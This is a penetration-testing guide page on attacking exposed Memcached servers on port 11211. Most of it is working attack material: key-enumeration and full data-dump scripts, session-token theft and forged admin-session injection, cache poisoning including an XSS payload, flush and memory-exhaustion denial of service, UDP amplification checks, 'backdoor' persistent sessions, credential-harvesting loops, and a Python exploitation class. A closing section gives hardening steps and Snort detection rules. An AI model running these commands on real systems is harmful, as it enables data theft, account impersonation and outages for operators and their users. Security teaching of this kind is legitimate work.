# Memcache - Port 11211

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is Memcached?

**Memcached** is an in-memory key-value store that provides:

* **High-speed caching** - Microsecond latency
* **Distributed architecture** - Multiple servers
* **Simple protocol** - Text-based commands
* **LRU eviction** - Least Recently Used
* **No persistence** - Pure RAM cache
* **Horizontal scalability** - Add nodes easily

#### Architecture

```
┌─────────────────────────────────────────────────────────────┐
│                  Memcached Architecture                     │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ┌──────────────┐      Cache Miss      ┌──────────────┐     │
│  │ Application  │─────────────────────►│   Database   │     │
│  │    Server    │◄─────────────────────│              │     │
│  └──────┬───────┘                      └──────────────┘     │
│         │                                                   │
│         │ Cache Hit/Set                                     │
│         ▼                                                   │
│  ┌──────────────────────────────────────────────┐           │
│  │         Memcached Cluster (RAM)              │           │
│  ├──────────────┬───────────────┬───────────────┤           │
│  │  Node 1      │    Node 2     │    Node 3     │           │
│  │  Port 11211  │  Port 11211   │  Port 11211   │           │
│  │              │               │               │           │
│  │ Key: sess_1  │ Key: user_42  │ Key: api_key  │           │
│  │ Val: token   │ Val: profile  │ Val: secret   │           │
│  └──────────────┴───────────────┴───────────────┘           │
│                                                             │
│  Consistent Hashing: Determines which node stores each key  │
└─────────────────────────────────────────────────────────────┘
```

#### Default Port

**Port 11211** - Memcached

```
PORT      STATE SERVICE
11211/tcp open  memcache
```

**Additional Protocols:**

* TCP (default)
* UDP (optional, dangerous for DDoS)

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 11211 -sV <target-ip>

# Detailed scan
nmap -p 11211 -sV -sC <target-ip>

# Memcached-specific scripts
nmap -p 11211 --script memcached-info <target-ip>

# Check UDP DDoS amplification
nmap -sU -p 11211 --script memcached-amp <target-ip>

# Comprehensive scan
nmap -p 11211 -A <target-ip>

# Scan subnet
nmap -p 11211 -sV <target-subnet>/24 -oA memcached-scan
```

**Sample Output:**

```
PORT      STATE SERVICE VERSION
11211/tcp open  memcache Memcached 1.5.22
| memcached-info:
|   Process ID: 1234
|   Uptime: 1234567 seconds
|   Server time: 2025-02-23 10:30:00
|   Architecture: 64 bit
|   Used CPU (user): 123.456
|   Used CPU (sys): 234.567
|   Current connections: 10
|   Total connections: 1000
|   Maximum connections: 1024
|   Threads: 4
|   Limit maxbytes: 67108864
|   Total items: 500
|_  Current items: 450
```

### Banner Grabbing

**Using Netcat**

```bash
# Connect to Memcached
nc <target-ip> 11211

# Get version
version
RETURN: VERSION 1.5.22

# Get statistics
stats
# (returns extensive statistics)

# Get memory info
stats slabs
```

**Using Telnet**

```bash
# Connect
telnet <target-ip> 11211

# Commands work same as netcat
version
stats
```

### Service Fingerprinting

**Version Detection**

```bash
# Quick version check
echo "version" | nc <target-ip> 11211

# Output: VERSION 1.5.22

# Or using nmap
nmap -p 11211 -sV <target-ip>
```

**Statistics Gathering**

```bash
# General statistics
echo "stats" | nc <target-ip> 11211

# Key statistics:
# - curr_items: Current cached items
# - total_items: Total items since start
# - bytes: Current bytes used
# - curr_connections: Active connections
# - cmd_get: Total GET commands
# - cmd_set: Total SET commands
# - get_hits: Successful GETs
# - get_misses: Failed GETs
```

#### Shodan Queries

```
port:11211 "STAT pid"
"STAT pid" memcached
port:11211 memcache
memcached port:11211
product:"Memcached"
```

## Authentication Testing

#### Check Authentication

**SASL Authentication (Rare)**

```bash
# Check if SASL is enabled
echo "stats settings" | nc <target-ip> 11211 | grep sasl

# If SASL enabled, you'll see:
# STAT sasl yes

# Most instances:
# STAT sasl no
# Or no SASL statistics at all
```

**Default Behavior**

```bash
# By default, NO AUTHENTICATION required!
# Direct access to all data

# Test immediate access:
echo "version" | nc <target-ip> 11211
# If you get VERSION response, you have full access
```

**SASL Brute Force (If Enabled)**

```bash
# SASL authentication is rare
# But if enabled, can attempt brute force
# Requires binary protocol client

# Note: Most Memcached deployments
# do NOT have authentication enabled
```

## Data Enumeration & Exfiltration

#### Understanding Slabs

**What are Slabs?**

Memcached organizes memory into slabs of different chunk sizes:

```bash
# View slab classes
echo "stats slabs" | nc <target-ip> 11211

# Example output:
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 100
STAT 1:free_chunks 10822
...
STAT 26:chunk_size 1048576
STAT 26:chunks_per_page 1
STAT active_slabs 10
END
```

**Active slabs:** Those currently storing data

#### Enumerate Items

**List Items per Slab**

```bash
# Get item statistics
echo "stats items" | nc <target-ip> 11211

# Example output:
STAT items:1:number 5
STAT items:1:age 1234
STAT items:3:number 100
STAT items:3:age 5678
STAT items:6:number 50
END

# This tells us:
# - Slab 1 has 5 items
# - Slab 3 has 100 items
# - Slab 6 has 50 items
```

#### Dump Keys (Pre-1.4.31)

**Stats Cachedump Method**

```bash
# Dump keys from specific slab
# Syntax: stats cachedump <slab_id> <limit>

echo "stats cachedump 1 100" | nc <target-ip> 11211

# Example output:
ITEM session_abc123 [64 b; 1614358900 s]
ITEM user_profile_42 [512 b; 1614358950 s]
ITEM api_token_xyz [128 b; 1614359000 s]
END

# Limit of 0 = unlimited (get all keys)
echo "stats cachedump 1 0" | nc <target-ip> 11211
```

**Complete Enumeration Script**

```bash
#!/bin/bash
# Memcached Key Enumeration

HOST=$1
PORT=11211

if [ -z "$HOST" ]; then
    echo "Usage: $0 <host>"
    exit 1
fi

echo "[*] Enumerating Memcached keys on $HOST"

# Get active slabs
SLABS=$(echo "stats items" | nc -w 1 $HOST $PORT | grep "items:" | cut -d: -f2 | sort -u)

for slab in $SLABS; do
    echo "[*] Dumping slab $slab"
    echo "stats cachedump $slab 0" | nc -w 1 $HOST $PORT
done

echo "[+] Enumeration complete"
```

#### Dump Keys (1.4.31+)

**LRU Crawler Method (Recommended)**

```bash
# Modern, production-safe method
echo "lru_crawler metadump all" | nc <target-ip> 11211

# Output format:
key=session_abc123 exp=1614358900 la=1614358800 cas=123 fetch=yes cls=1 size=64
key=user_profile_42 exp=1614358950 la=1614358850 cas=124 fetch=yes cls=3 size=512
key=api_token_xyz exp=-1 la=1614359000 cas=125 fetch=yes cls=1 size=128

# Fields:
# - exp: Expiration time (Unix timestamp, -1 = no expiry)
# - la: Last access time
# - cas: CAS identifier
# - cls: Slab class
# - size: Item size in bytes
```

**Extract Just Key Names**

```bash
# Get only key names
echo "lru_crawler metadump all" | nc <target-ip> 11211 | grep -oP 'key=\K[^ ]+'

# Output:
session_abc123
user_profile_42
api_token_xyz
```

#### Retrieve Cached Data

**Get Values by Key**

```bash
# Get single key
echo "get session_abc123" | nc <target-ip> 11211

# Output:
VALUE session_abc123 0 64
{"user_id": 42, "username": "admin", "role": "administrator"}
END

# Get multiple keys at once
echo -e "get key1\nget key2\nget key3" | nc <target-ip> 11211

# Or in one command
printf "get key1 key2 key3\r\n" | nc <target-ip> 11211
```

**Complete Data Exfiltration**

```bash
#!/bin/bash
# Memcached Complete Data Dump

HOST=$1
OUTPUT_DIR="memcached_dump"

mkdir -p $OUTPUT_DIR

echo "[*] Dumping all Memcached data from $HOST"

# Get all keys (1.4.31+)
KEYS=$(echo "lru_crawler metadump all" | nc -w 2 $HOST 11211 | grep -oP 'key=\K[^ ]+')

# Or for older versions, enumerate slabs first
# KEYS=$(enumerate_slabs_and_get_keys)

for key in $KEYS; do
    echo "[*] Retrieving: $key"
    echo "get $key" | nc -w 1 $HOST 11211 > "$OUTPUT_DIR/$key.txt"
done

echo "[+] Dump complete! Check $OUTPUT_DIR/"
```

#### Using libmemcached Tools

**Install Tools**

```bash
# Debian/Ubuntu
sudo apt install libmemcached-tools

# Or
sudo apt install memcached-tool
```

**memcstat - Statistics**

```bash
# Get server statistics
memcstat --servers=<target-ip>:11211

# Output includes:
# - Version
# - Uptime
# - Memory usage
# - Hit/miss ratio
# - Connections
```

**memcdump - Dump Keys**

```bash
# Dump all keys
memcdump --servers=<target-ip>:11211

# Output:
session_abc123
user_profile_42
api_token_xyz
...
```

**memccat - Get Values**

```bash
# Get values for specific keys
memccat --servers=<target-ip>:11211 session_abc123 user_profile_42

# Output shows value for each key
```

**Complete Workflow**

```bash
# 1. Dump all keys
memcdump --servers=<target-ip>:11211 > keys.txt

# 2. Get all values
cat keys.txt | xargs memccat --servers=<target-ip>:11211
```

## Memcached Commands Reference

#### Storage Commands

**SET - Store Value**

```bash
# Syntax: set <key> <flags> <exptime> <bytes>
# Unconditionally sets a key

set mykey 0 3600 5
hello
STORED

# Parameters:
# - key: Key name
# - flags: 16-bit integer (application-specific)
# - exptime: Expiration (seconds, 0=never, max 30 days)
# - bytes: Data length
```

**ADD - Add New Key**

```bash
# Only stores if key doesn't exist
add newkey 0 3600 4
data
STORED

# If key exists:
NOT_STORED
```

**REPLACE - Replace Existing**

```bash
# Only stores if key exists
replace existingkey 0 3600 7
newdata
STORED

# If key doesn't exist:
NOT_STORED
```

**APPEND - Append Data**

```bash
# Append to existing value
append mykey 0 3600 6
world!
STORED

# If key was "hello", now "helloworld!"
```

**PREPEND - Prepend Data**

```bash
# Prepend to existing value
prepend mykey 0 3600 4
Hey 
STORED

# If key was "hello", now "Hey hello"
```

#### Retrieval Commands

**GET - Retrieve Value**

```bash
# Get single key
get mykey
VALUE mykey 0 5
hello
END

# Get multiple keys
get key1 key2 key3
VALUE key1 0 5
data1
VALUE key2 0 5
data2
VALUE key3 0 5
data3
END
```

**GETS - Get with CAS**

```bash
# Get with CAS (Compare-And-Swap) identifier
gets mykey
VALUE mykey 0 5 123456
hello
END

# CAS ID: 123456 (used for atomic updates)
```

#### Modification Commands

**INCR - Increment**

```bash
# Set initial value
set counter 0 0 1
5
STORED

# Increment by 1
incr counter 1
6

# Increment by 10
incr counter 10
16
```

**DECR - Decrement**

```bash
# Decrement by 1
decr counter 1
15

# Decrement by 5
decr counter 5
10
```

**DELETE - Remove Key**

```bash
# Delete key
delete mykey
DELETED

# If key doesn't exist:
NOT_FOUND
```

**FLUSH\_ALL - Clear Cache**

```bash
# Immediately invalidate all items
flush_all
OK

# Flush after delay (900 seconds)
flush_all 900
OK
```

#### Statistics Commands

**STATS - General Statistics**

```bash
stats

# Returns extensive statistics:
STAT pid 12345
STAT uptime 123456
STAT time 1614358900
STAT version 1.5.22
STAT curr_connections 10
STAT total_connections 1000
STAT curr_items 500
STAT total_items 5000
STAT bytes 1048576
STAT cmd_get 10000
STAT cmd_set 5000
STAT get_hits 8000
STAT get_misses 2000
STAT evictions 100
END
```

**STATS SLABS - Memory Info**

```bash
stats slabs

# Shows slab allocation
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:used_chunks 100
...
END
```

**STATS ITEMS - Item Statistics**

```bash
stats items

# Items per slab
STAT items:1:number 100
STAT items:1:age 1234
STAT items:3:number 50
...
END
```

**STATS SIZES - Size Distribution**

```bash
stats sizes

# Distribution of item sizes
96 100
128 50
256 25
END
```

**STATS SETTINGS - Configuration**

```bash
stats settings

# Current settings
STAT maxbytes 67108864
STAT maxconns 1024
STAT tcpport 11211
STAT udpport 11211
STAT binding_protocol auto-negotiate
STAT auth_enabled no
...
END
```

#### Administrative Commands

**VERSION - Get Version**

```bash
version
VERSION 1.5.22
```

**VERBOSITY - Log Level**

```bash
# Increase verbosity (0-2)
verbosity 2
OK
```

**QUIT - Close Connection**

```bash
quit
# Connection closes
```

## Exploitation Techniques

### Session Hijacking

**Enumerate Sessions**

```bash
# Search for session keys
echo "lru_crawler metadump all" | nc <target-ip> 11211 | grep -i session

# Common session key patterns:
# - sess_*
# - session_*
# - PHPSESSID_*
# - user_session_*
```

**Steal Session Tokens**

```bash
# Get session data
echo "get sess_abc123def456" | nc <target-ip> 11211

# Output might contain:
VALUE sess_abc123def456 0 128
{"user_id":42,"username":"admin","role":"administrator","ip":"10.0.0.5"}
END

# Use this session token in browser/application
# Impersonate the user
```

**Session Injection**

```bash
# Create malicious session
printf "set sess_attacker 0 3600 60\r\n{\"user_id\":1,\"username\":\"admin\",\"role\":\"superuser\"}\r\n" | nc <target-ip> 11211

# Use sess_attacker token to gain admin access
```

### Cache Poisoning

**Poison Application Cache**

```bash
# Identify cache keys used by application
# Example: User profile cache

# Get current value
echo "get user_profile_42" | nc <target-ip> 11211

# Poison with malicious data
printf "set user_profile_42 0 3600 100\r\n{\"user_id\":42,\"username\":\"admin\",\"email\":\"attacker@evil.com\",\"role\":\"admin\"}\r\n" | nc <target-ip> 11211
STORED

# Application now serves poisoned data
```

**XSS via Cache Poisoning**

```bash
# Poison cached HTML fragment
printf "set cached_comment_123 0 3600 50\r\n<script>alert('XSS')</script>Comment text\r\n" | nc <target-ip> 11211

# When page loads, XSS executes
```

### Data Exfiltration

**Extract Sensitive Data**

```bash
# Common sensitive data in cache:
# - User credentials (passwords, tokens)
# - API keys
# - Database query results
# - Personal information
# - Payment data

# Search for API keys
echo "lru_crawler metadump all" | nc <target-ip> 11211 | grep -i "api"

# Search for passwords
echo "lru_crawler metadump all" | nc <target-ip> 11211 | grep -i "pass"

# Search for tokens
echo "lru_crawler metadump all" | nc <target-ip> 11211 | grep -i "token"
```

#### Denial of Service

**Flush All Cache**

```bash
# Clear entire cache
echo "flush_all" | nc <target-ip> 11211
OK

# Impact:
# - All cache misses
# - Database overload
# - Application slowdown/crash
```

**Memory Exhaustion**

```bash
# Fill cache with junk data
for i in {1..10000}; do
    printf "set junk_$i 0 0 1048576\r\n%1048576s\r\n" | nc <target-ip> 11211
done

# Causes legitimate data to be evicted
# Degrades application performance
```

#### UDP Amplification DDoS

**Check UDP Support**

```bash
# Check if UDP is enabled
nmap -sU -p 11211 <target-ip>

# If open, can be used for amplification
```

**Amplification Attack (For Testing Only)**

```bash
# Memcached UDP amplification can achieve 50000x amplification
# stats command with spoofed source IP

# WARNING: Do NOT perform actual DDoS attacks
# This is for authorized testing only

# Check with Metasploit
msf6 > use auxiliary/scanner/memcached/memcached_amp
msf6 auxiliary(scanner/memcached/memcached_amp) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/memcached/memcached_amp) > run
```

## Post-Exploitation

#### Persistence

**Inject Backdoor Sessions**

```bash
# Create long-lived admin session
printf "set backdoor_session 0 2592000 50\r\n{\"user_id\":1,\"username\":\"admin\",\"role\":\"root\"}\r\n" | nc <target-ip> 11211

# 2592000 = 30 days (maximum)
# Use backdoor_session token for persistent access
```

**Monitor Cache for Credentials**

```bash
# Continuously monitor for new credentials
while true; do
    echo "lru_crawler metadump all" | nc <target-ip> 11211 | grep -i "password\|token\|secret"
    sleep 60
done
```

#### Lateral Movement

**Extract Database Credentials**

```bash
# Cached database connection strings
echo "get db_connection" | nc <target-ip> 11211

# May contain:
# - Database hostname
# - Username/password
# - Connection parameters
```

**Extract API Keys**

```bash
# Search for various API keys
for pattern in "aws" "api_key" "secret_key" "access_token" "bearer"; do
    echo "[*] Searching for: $pattern"
    echo "lru_crawler metadump all" | nc <target-ip> 11211 | grep -i "$pattern"
done
```

## Defense & Hardening

#### Enable Authentication (SASL)

**Compile with SASL Support**

```bash
# Memcached must be compiled with SASL
# Check if SASL is available:
memcached -h | grep sasl

# If not available, recompile:
./configure --enable-sasl
make
sudo make install
```

**Configure SASL**

```bash
# Create SASL config
sudo mkdir -p /etc/sasl2

# Create /etc/sasl2/memcached.conf
cat > /etc/sasl2/memcached.conf << EOF
mech_list: PLAIN
sasldb_path: /etc/sasl2/memcached-sasldb2
EOF

# Create user
echo "password" | sudo saslpasswd2 -p -c -f /etc/sasl2/memcached-sasldb2 memcache_user

# Start Memcached with SASL
memcached -S -vv
```

**Client Authentication**

```bash
# Clients must authenticate
# Using Python example:
import bmemcached

client = bmemcached.Client(('127.0.0.1:11211',), 'memcache_user', 'password')
client.set('key', 'value')
```

#### Network Security

**Bind to Localhost**

```bash
# Only listen on localhost
memcached -l 127.0.0.1

# Or in config file (/etc/memcached.conf):
-l 127.0.0.1
```

**Firewall Rules**

```bash
# UFW
sudo ufw deny 11211/tcp
sudo ufw deny 11211/udp

# Allow only from application servers
sudo ufw allow from 192.168.1.0/24 to any port 11211

# iptables
sudo iptables -A INPUT -p tcp --dport 11211 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 11211 -j DROP

# DISABLE UDP (prevent DDoS amplification)
sudo iptables -A INPUT -p udp --dport 11211 -j DROP
```

**Disable UDP Completely**

```bash
# Start Memcached without UDP
memcached -U 0

# Or in config:
-U 0
```

#### Resource Limits

**Set Memory Limit**

```bash
# Limit memory usage
memcached -m 64  # 64MB

# Or in config:
-m 64
```

**Connection Limits**

```bash
# Limit max connections
memcached -c 1024

# Or in config:
-c 1024
```

#### Monitoring & Detection

**Enable Verbose Logging**

```bash
# Start with verbose logging
memcached -vv

# Logs to stdout/syslog
# Monitor for:
# - Connection attempts
# - Failed authentication (if SASL enabled)
# - Large data transfers
# - Unusual commands
```

**Monitor Connections**

```bash
# Watch active connections
watch -n 5 'echo "stats" | nc localhost 11211 | grep curr_connections'

# Alert on unusual connection count
# Normal: 5-20 connections
# Suspicious: 100+ connections
```

**Log Analysis**

```bash
# Monitor Memcached logs
tail -f /var/log/memcached.log

# Search for suspicious patterns
grep "stats cachedump" /var/log/memcached.log
grep "flush_all" /var/log/memcached.log
```

**Intrusion Detection**

```bash
# Snort rules for Memcached
alert tcp any any -> any 11211 (msg:"Memcached stats cachedump"; content:"stats cachedump"; sid:1000001;)

alert tcp any any -> any 11211 (msg:"Memcached flush_all"; content:"flush_all"; sid:1000002;)

alert tcp any any -> any 11211 (msg:"Memcached lru_crawler metadump"; content:"lru_crawler metadump"; sid:1000003;)

alert udp any any -> any 11211 (msg:"Memcached UDP query (potential DDoS)"; sid:1000004;)
```

#### Application-Level Security

**Encrypt Sensitive Data**

```bash
# Don't store plaintext sensitive data
# Encrypt before caching

# Python example:
from cryptography.fernet import Fernet

key = Fernet.generate_key()
cipher = Fernet(key)

# Encrypt before storing
encrypted_data = cipher.encrypt(b"sensitive data")
memcache.set('key', encrypted_data)

# Decrypt after retrieving
decrypted_data = cipher.decrypt(memcache.get('key'))
```

**Use Namespaces**

```bash
# Namespace keys by application/user
# Prevents key collision and unauthorized access

# Format: app_name:user_id:key
set myapp:user42:session 0 3600 50
...
```

## Tools & Scripts

#### Essential Tools

1. **netcat/telnet** - Manual interaction
2. **nmap** - Discovery and scanning
3. **libmemcached-tools** - Official tools
4. **Metasploit** - Automated exploitation
5. **Custom scripts** - Python/Bash automation

#### Metasploit Modules

```bash
# Available modules
msf6 > search memcached

# Information gathering
use auxiliary/gather/memcached_extractor
set RHOSTS <target-ip>
run

# UDP amplification check
use auxiliary/scanner/memcached/memcached_amp
set RHOSTS <target-ip>
run

# Version detection
use auxiliary/scanner/memcached/memcached_version
set RHOSTS <target-ip>
run
```

#### Python Automation Script

```python
#!/usr/bin/env python3
"""
Memcached Enumeration and Exploitation Tool
"""
import socket
import sys

class MemcachedExploit:
    def __init__(self, host, port=11211):
        self.host = host
        self.port = port
    
    def send_command(self, command):
        """Send command to Memcached"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((self.host, self.port))
            sock.send(f"{command}\r\n".encode())
            
            response = b""
            while True:
                data = sock.recv(4096)
                if not data:
                    break
                response += data
                if b"END\r\n" in response or b"STORED\r\n" in response:
                    break
            
            sock.close()
            return response.decode('utf-8', errors='ignore')
        except Exception as e:
            return f"Error: {e}"
    
    def get_version(self):
        """Get Memcached version"""
        return self.send_command("version")
    
    def get_stats(self):
        """Get statistics"""
        return self.send_command("stats")
    
    def dump_keys(self):
        """Dump all keys (1.4.31+)"""
        return self.send_command("lru_crawler metadump all")
    
    def dump_keys_old(self, slab_id, limit=100):
        """Dump keys from slab (pre-1.4.31)"""
        return self.send_command(f"stats cachedump {slab_id} {limit}")
    
    def get_value(self, key):
        """Get value for key"""
        return self.send_command(f"get {key}")
    
    def set_value(self, key, value, exptime=3600):
        """Set key-value pair"""
        data_len = len(value)
        command = f"set {key} 0 {exptime} {data_len}\r\n{value}"
        return self.send_command(command)
    
    def flush_all(self):
        """Flush all cache (DoS)"""
        return self.send_command("flush_all")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host>")
        sys.exit(1)
    
    host = sys.argv[1]
    exploit = MemcachedExploit(host)
    
    print("[*] Memcached Enumeration Tool")
    print(f"[*] Target: {host}")
    
    print("\n[*] Version:")
    print(exploit.get_version())
    
    print("\n[*] Dumping keys:")
    keys_data = exploit.dump_keys()
    print(keys_data[:500])  # First 500 chars
    
    print("\n[*] Statistics:")
    stats = exploit.get_stats()
    for line in stats.split('\n')[:10]:
        print(line)
```

## Cheat Sheet

#### Quick Reference

```bash
# PORT SCANNING
nmap -p 11211 -sV <target>
nmap -p 11211 --script memcached-info <target>

# CONNECT
nc <target> 11211
telnet <target> 11211

# VERSION
echo "version" | nc <target> 11211

# STATISTICS
echo "stats" | nc <target> 11211
echo "stats slabs" | nc <target> 11211
echo "stats items" | nc <target> 11211

# DUMP KEYS (1.4.31+)
echo "lru_crawler metadump all" | nc <target> 11211

# DUMP KEYS (OLD)
echo "stats cachedump 1 0" | nc <target> 11211

# GET VALUE
echo "get mykey" | nc <target> 11211

# SET VALUE
printf "set mykey 0 3600 5\r\nhello\r\n" | nc <target> 11211

# FLUSH ALL (DoS)
echo "flush_all" | nc <target> 11211

# LIBMEMCACHED TOOLS
memcstat --servers=<target>
memcdump --servers=<target>
memccat --servers=<target> key1 key2
```

#### Important Commands

```
version              - Get version
stats                - General statistics
stats slabs          - Memory slabs
stats items          - Items per slab
lru_crawler metadump - Dump keys (modern)
stats cachedump      - Dump keys (old)
get <key>            - Retrieve value
set <key>            - Store value
flush_all            - Clear cache
```

### Additional Resources

* [Memcached Official Documentation](https://github.com/memcached/memcached/wiki)
* [Memcached Security SASL](https://github.com/memcached/memcached/wiki/SASLHowto)
* [DDoS Amplification Research](https://www.cloudflare.com/learning/ddos/memcached-ddos-attack/)
* [HackTricks Memcached](https://book.hacktricks.wiki/en/network-services-pentesting/11211-memcache/)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}
